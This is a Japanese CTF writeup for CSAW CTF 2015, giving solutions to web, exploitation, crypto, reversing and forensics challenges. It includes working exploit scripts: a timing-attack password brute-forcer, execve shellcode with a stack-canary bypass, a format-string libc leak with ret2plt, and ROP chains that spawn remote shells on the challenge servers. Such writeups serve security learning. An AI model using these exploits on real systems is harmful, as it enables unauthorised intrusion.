Snippets
CSAW CTF 2015 Writeup
Web 200: Lawn Care Simulator
http://54.175.3.248:8089/.git よりソースコードを取得出来る。
sign_up.phpにusernameとして'%'を渡すことで、存在するユーザー名が~~FLAG~~
であることが分かる。
premium.phpはパスワードの先頭からの正解文字数に応じてsleepしてくれるのでパスワードを探索する。
cur = ''
while cur.size < 32
strset = 'abcdef0123456789'.chars
data = []
strset.each do |s|
a = Time.now
`curl -s http://54.175.3.248:8089/premium.php -d 'username=~~FLAG~~&password=#{cur}#{s}#{'a' * (31 - cur.size)}'`
c = Time.now - a
data << [c,s]
p [c,s]
end
cur += data.sort[-1][1]
puts "Current: #{cur}"
sleep 10
end
Exploitables 100: precision
独自のスタックカナリアが実装されているが固定値である。
NX Disabledでさらにバッファーのアドレスも教えてくれるので、シェルコードを書き込んでreturnする。
require 'ctf'
shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
#include <asm/unistd_32.h>
#define syscall(name) mov eax, __NR_##name \\
int 0x80
#define syscall1(name, arg1) mov ebx, arg1 syscall(name)
xor ecx, ecx
push ecx
push sh1
push sh2
mov ebx, esp
xor edx, edx
xor eax, eax
add al, __NR_execve - 3
inc eax
inc eax
inc eax
int 0x80
SOURCE
shellcode.fixup 'sh1' => '//sh'.unpack("I")[0]
shellcode.fixup 'sh2' => '/bin'.unpack("I")[0]
shellcode = shellcode.data
canary = [64.33333].pack("d")
TCPSocket.open(*ARGV) do |s|
buff = s.gets.split[1].to_i(16)
s.puts shellcode + 'A' * (0x80 - shellcode.size) + canary + "AAAA" + "AAAA" * 2 + [buff].pack("I")
s.flush
s.interactive!
end
Exploitables 250: contacts
Descriptionをprintfで表示しているため、format string attackが可能。libcのアドレスをリークし、ret2pltでsystem("/bin/sh")を実行した。
require 'ctf'
class Solver
attr_accessor :s, :first, :second
attr_accessor :second_offset, :rop_base
def initialize(s)
@s = s
s.expect '>>> '
s.puts 1
s.puts ?a
s.puts ?a
s.puts 1000
s.puts '%lx,' * 100
s.expect '>>> '
s.puts 4
s.expect 'Description: '
data = s.gets.split(/,/).map{|a|a.to_i(16)}
self.first = data.index(0x80486bd) + 3 # argvへの参照の番号(1-indexed)
self.second = first + (0x84 - 0x68) / 4
self.second_offset = data[self.first - 1]
self.rop_base = second_offset - 0x84 + 0x60 - (data.index(0x80486bd) - 30) * 4
s.expect '>>> '
end
def do_fsa(str)
s.puts 3
s.puts ?a
s.expect '>>> '
s.puts 2
s.puts 1000
s.puts str
s.expect '>>> '
s.puts 4
s.expect 'Description: '
ret = s.expect("Menu:")[0][0..-6]
s.expect '>>> '
ret
end
def nchars(c)
c &= 65535
if c < 12
'0' * c
else
"%#{c}d"
end
end
# second + 1にオフセットを書き出す
def write_offset(offset)
do_fsa("%#{(second_offset + 4) % 65536}d%#{first}$hn")
do_fsa("#{nchars(offset)}%#{second}$hn")
do_fsa("%#{(second_offset + 6) % 65536}d%#{first}$hn")
do_fsa("#{nchars(offset >> 16)}%#{second}$hn")
do_fsa("%#{second + 1}$x")
end
# 特定のメモリ領域を読み出す
def read_memory(offset)
write_offset(offset)
do_fsa("%#{second + 1}$s").chomp
end
# 特定のメモリ領域に書き出す
def write_memory(offset, data)
data.chars.each.with_index do |c,i|
write_offset(offset + i)
do_fsa("#{nchars(c.ord)}%#{second+1}$hhn")
end
end
def exit
s.puts ?5
end
end
TCPSocket.open(*ARGV) do |s|
s.echo = false
solver = Solver.new(s)
# libc_start_mainの位置を読み出す
libc_start_main = (solver.read_memory(0x804b034) + "\0" * 8).unpack("I")[0]
# mallocの位置を読み出す
#malloc = solver.read_memory(0x804b020).unpack("I")[0]
# libc特定用
puts "_libc_start_main: %x" % libc_start_main
#puts "malloc: %x" % malloc
# 特定したlibcのlibc_start_mainとsystemと/bin/shの場所
LIBC_START_MAIN = 0x0000000000019970
LIBC_SYSTEM = 0x000000000003fcd0
LIBC_BINSH = 0x0015da84
libc_base = libc_start_main - LIBC_START_MAIN
# ret2plt!
STDERR.puts 'write_system: %x' % [libc_base + LIBC_SYSTEM]
solver.write_memory(solver.rop_base, [libc_base + LIBC_SYSTEM].pack("I"))
STDERR.puts 'write_binsh'
solver.write_memory(solver.rop_base + 8, [libc_base + LIBC_BINSH].pack("I"))
solver.exit
s.interactive!
end
## outputs
# _libc_start_main: f7617970
# malloc: f7673b30
Exploitables 300: FTP2
FTPを解いて、flag.txtをダウンロードしたらフラグが得られた。
Exploitables 350: autobots
BOFするECHOプログラムがサーバー側で生成されて降ってくる問題。処理の概略は同じなので、必要な情報をプログラムから抽出してpwnしてやる。
まず、libcを取得するためのプログラムを書いた
# libc関連のアドレスを取得するためのプログラム
require 'ctf'
FD = 6
port = nil
bufsize = nil
write = nil #write_pltの場所
write_ofs = nil # write_ofs
rsi_r15_pop = nil
rdi_pop = nil
if ARGV.size <= 1
TCPSocket.open(ARGV[0] || '52.20.10.244', '8888') do |s|
File.binwrite('tmp.out',s.read(8955))
disasm = `objdump -d -Mintel tmp.out`
main = disasm.split(/<main>:/)[1]
main = main.lines.map{|a|a.split("\t")[-1].strip}.join("\n")
port = main.scan(/mov edi,0x([a-f0-9]*)\ncall[^\n]*<htons@plt>/)[1][0].to_i(16) # バイナリの起動するポート
/(.+)<write@plt>:\n/ =~ disasm
write = $1.to_i(16)
p [:write, '%x' % write]
write_ofs = disasm[disasm.index('<write@plt>:')..-1].scan(/# ([0-9a-f]*) <_GLOBAL_OFFSET/).map{|a|a[0].to_i(16)}[0]
p [:write_ofs, '%x' % write_ofs]
# bufsize
bufsize = main.split(/accept@plt/)[1].split(/lea/)[1].scan(/\[rbp-0x([0-9a-f]*)\]/)[0][0].to_i(16)
p [:bufsize, bufsize]
# rsi r15 pop
/0x([0-9a-f]*):/ =~ `rp++ --search-hexa '^A_' --file tmp.out | grep ':'`
rsi_r15_pop = $1.to_i(16)
p [:rsi_r15_pop, '%x' % rsi_r15_pop]
/0x([0-9a-f]*):/ =~ `rp++ --search-hexa '\x5f\xc3' --file tmp.out | grep ':'`
rdi_pop = $1.to_i(16)
p [:rdi_pop, '%x' % rsi_r15_pop]
end
end
server = ARGV[0] ||'52.20.10.244'
port = ARGV[1] || port
TCPSocket.open(server, port) do |s|
s.print 'a' * (bufsize + 8) + ([rdi_pop, FD] + [rsi_r15_pop,write_ofs, 0] + [write, 0x61616161]).pack("q*")
data = s.read(32).unpack("q*").map{|a|'%x' % a}
if data.size > 0 && data[0] != '6161616161616161'
STDOUT.puts data.inspect
end
end
Ubuntu 14.04のglibcであることが分かる。ASLR無効であることからclose(0);close(1);dup(FD);dup(FD);system("/bin/sh");を実行するようなスタック状態を生成する。
require 'ctf'
FD = 6
port = nil
bufsize = nil
write = nil #write_pltの場所
write_ofs = nil # write_ofs
libc_base = 0x7ffff7b00860 - 0x00000000000eb860
libc_system = libc_base + 0x0000000000046640
libc_binsh = libc_base + 0x0017ccdb
libc_close = libc_base + 0x00000000000ebf50
libc_dup = libc_base + 0x00000000000ebfb0
libc_rdi = libc_base + 0x00136c40
p ['%x' % libc_system]
p ['%x' % libc_binsh]
rsi_r15_pop = nil
rdi_pop = nil
if ARGV.size <= 1
TCPSocket.open(ARGV[0] || '52.20.10.244', '8888') do |s|
File.binwrite('tmp.out',s.read(8955))
disasm = `objdump -d -Mintel tmp.out`
main = disasm.split(/<main>:/)[1]
main = main.lines.map{|a|a.split("\t")[-1].strip}.join("\n")
port = main.scan(/mov edi,0x([a-f0-9]*)\ncall[^\n]*<htons@plt>/)[1][0].to_i(16) # バイナリの起動するポート
# bufsize
bufsize = main.split(/accept@plt/)[1].split(/lea/)[1].scan(/\[rbp-0x([0-9a-f]*)\]/)[0][0].to_i(16)
p [:bufsize, bufsize]
end
end
server = ARGV[0] ||'52.20.10.244'
port = ARGV[1] || port
TCPSocket.open(server, port) do |s|
s.print 'a' * (bufsize + 8) + ([libc_rdi, 0, libc_close, libc_rdi, 1, libc_close, libc_rdi, FD, libc_dup, libc_rdi, FD, libc_dup, libc_rdi, libc_binsh,libc_system]).pack("q*")
s.puts "ls"
s.interactive!
end
Crypto 50: ones_and_zer0es
irb(main):004:0> [File.read('eps1.1_ones-and-zer0es_c4368e65e1883044f3917485ec928173.mpeg').to_i(2).to_s(16)].pack("H*")
=> "flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, their vulnerabilities are like a neon sign screwed into their heads."
flatをflagに直した。
Crypto 50: whiter0se
換字暗号ソルバーに投げる
Crypto 50: zer0-day
irb(main):002:0> eval("\"#{File.read('eps1.9_zer0-day_b7604a922c8feef666a957933751a074.avi')}\"").unpack("m")
Reversing 200: Hacking Time
Windows版のFCEUXにあるメモリビューアでメモリの状況を眺めると、最初の方に入力した文字列があり、続けて入力した文字列から作られるバイト列があることが分かる。さらに、このバイト列にリードブレークポイントを仕掛けると、これを全て00にすることが目的であることが分かる。
入力から作られるバイト列は入力と同じ長さであり、さらに入力のある部分はそれ以前の場所のバイト列に影響を及ぼさないので、先頭から特定していった。
Reversing 300: FTP
逆アセンブルを読むと次のようなhash関数にパスワード文字列(最後に改行あり)を渡した時に、3548828169になるような文字列がパスワードになることが分かる。
unsigned int hash(char *password) {
int i = 0;
unsigned int hv = 0x1505;
for(i = 0; i < password[i]; i++) {
hv = hv * 33 + password[i]
}
return hv;
}
適当に探索するとそのような文字列は一瞬で見つかる。
#include <stdio.h>
#include <stdlib.h>
#include <map>
#include <iostream>
#include <algorithm>
using namespace std;
char pass[100];
int t[31];
map<unsigned int, string> h;
void first(int k, unsigned int hv, string s) {
if(k == 6) {
h[hv] = s;
}else {
for(int i = 0; i < 8; i++) {
char c = 'a' + i;
first(k + 1, hv + t[k + 1] * c, s + c);
}
}
}
int main() {
t[0] = 1;
for(int i =0; i< 30; i++) {
t[i+1] = t[i]*33;
}
// 先頭6文字を適当に列挙 8 ** 6
first(0, '\n' * t[0], "\n");
// 後半7文字を乱択で作成しつつ探索
while(true) {
string v;
unsigned int h2 = 0;
for(int k = 7; k < 14; k++) {
char c = rand() % 26 + 'a';
h2 += t[k] * c;
v += c;
}
h2 += t[14] * 0x1505;
if(h.count(3548828169 - h2)) {
string ret = h[3548828169 - h2] + v ;
reverse(ret.begin(), ret.end());
cout << ret << endl;
return 0;
}
}
}
生成したパスワードを用いてログインすると、cwdにある2つのファイルにフラグがあり、それぞれFTP、FTP2のフラグである。実質600点問題になっている。
Reversing 400: wyvern
start_quest関数を読むと最初の方でvectorに対して単調増加列をpush_backしている。単調増加列ということで差分が怪しいので表示してみると、
4g0n_or_p4tric1an_it5_LLVM
先頭2文字が欠けている(dragonになりそうなことから)ので、探索してフラグを得た。
require 'shellwords'
str = '4g0n_or_p4tric1an_it5_LLVM'
(33..126).each do |i|
(33..126).each do |j|
system "echo #{Shellwords.escape(i.chr + j.chr + str)}| ./wyvern | grep flag"
end
end
Forensics 100: Keep Calm and CTF
Exiftool。フラグっぽい文字列が見つかる。
Forensics 100: Transfer
tcpflowして192.168.015.133.36840-192.168.015.135.00080というファイルを見るとpythonプログラムとBase64が掛かれている。Pythonプログラムを読んでデコードするプログラムを書くとフラグを得ることが出来た。
data = File.read('b64')
while %W(1 2 3).include? data[0]
# decodeを繰り返す
if data[0] == '1'
data = data[1..-1].tr('A-Ma-mN-Zn-z','N-Zn-zA-Ma-m')
elsif data[0] == '2'
data = data[1..-1].unpack('m')[0]
elsif data[0] == '3'
data = data[1..-1].tr('d-za-c', 'a-z')
end
end
puts data
Forensics 100: Flash
$ sudo mount flash_c8429a430278283c0e571baebca3d139.img media
$ cat media/.10/.hidden
flag{b3l0w_th3_r4dar}
$ sudo umount media
Forensics 200: Airport
4枚の画像についてytokuさんと協力し、それぞれの空港の名前を求めた。それらの空港の3文字のコードを連結したものが、steghide.jpgのパスフレーズとなっており、key.txtを取得した。
1 Jose Marti International Airport HAV, MUHA
2 HongKong International Airport HKG, VHHH
3 Los Angles International Airport LAX, KLAX
4 Toronto Pearson International Airport YYZ, CYYZ
HAVHKGLAXYYZ
Forensics 400: sharpturn
ファイルの中身から計算されるハッシュと、git objectに用いられているハッシュの値が一致しないことから、データが変化していると考えた。
次のように1byteファイルの中身を書き替えて、元にハッシュになるような物を探索するプログラムを書き、古いコミットから修正していった。
require 'digest/sha1'
def calc(s)
s = "blob #{s.size}\0#{s}"
Digest::SHA1.hexdigest(s)
end
hash = ARGV[0]
file = File.binread(ARGV[1])
file.size.times do |i|
b = file[i]
256.times do |j|
file[i] = (file[i].ord ^ j).chr
if calc(file) == hash
STDERR.puts "Found"
puts file
end
file[i] = (file[i].ord ^ j).chr
end
end
最終的に出き上がったプログラムに対して次のように回答してフラグを得た。
問題1: flag
問題2: 31337
問題3: hoge
問題4: money
問題5: 31357 8675311
Comments (0)
You can clone a snippet to your computer for local editing. Learn more.